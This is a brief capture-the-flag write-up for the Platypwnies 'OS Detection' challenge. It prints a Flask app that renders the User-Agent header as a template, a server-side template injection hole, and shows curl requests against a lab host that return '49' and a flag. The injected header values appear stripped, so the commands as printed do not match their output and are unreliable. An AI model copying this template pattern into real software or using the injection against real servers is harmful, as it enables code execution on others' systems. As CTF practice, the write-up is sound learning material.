root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

CTF-:Platypwnies


image


CHALLENGES-:



OS DETECTION


image


❯ curl http://10.71.6.5:5000/source
<pre>from flask import Flask, request, render_template, render_template_string
from ua_parser import user_agent_parser

app = Flask(__name__)

@app.route(&#34;/&#34;)
def home():
    user_agent = request.headers.get(&#39;User-Agent&#39;)
    try:
        parsed_string = user_agent_parser.Parse(user_agent)
        family = parsed_string[&#39;os&#39;][&#39;family&#39;]
        user_agent_hint = render_template_string(user_agent)
        return render_template(&#39;index.html&#39;, os=family, user_agent=user_agent_hint)
    except Exception as e:
        return render_template(&#39;failure.html&#39;, error=str(e))
    
@app.route(&#34;/source&#34;)
def source():
    code = open(__file__).read()
    return render_template_string(&#34;&lt;pre&gt;&lt;/pre&gt;&#34;, code=code)
    

if __name__ == &#34;__main__&#34;:
    # No debug, that would be insecure!
    #app.run(debug=True)
    app.run()
</pre>%
user_agent = request.headers.get(&#39;User-Agent&#39;)
    try:
        parsed_string = user_agent_parser.Parse(user_agent)
        family = parsed_string[&#39;os&#39;][&#39;family&#39;]
        user_agent_hint = render_template_string(user_agent)
        return render_template(&#39;index.html&#39;, os=family, user_agent=user_agent_hint)
❯ curl http://10.71.6.5:5000/ -H "User-Agent: " | grep "49"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1672  100  1672    0     0   1751      0 --:--:-- --:--:-- --:--:--  1750
        <pre>49</pre>
❯ curl http://10.71.6.5:5000/ -H "User-Agent: " | grep "PP"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1706  100  1706    0     0   5082      0 --:--:-- --:--:-- --:--:--  5077
        <pre>PP{h4ck3r-OS-d3t3ct3d::7pe6PXP-ZkPe}</pre>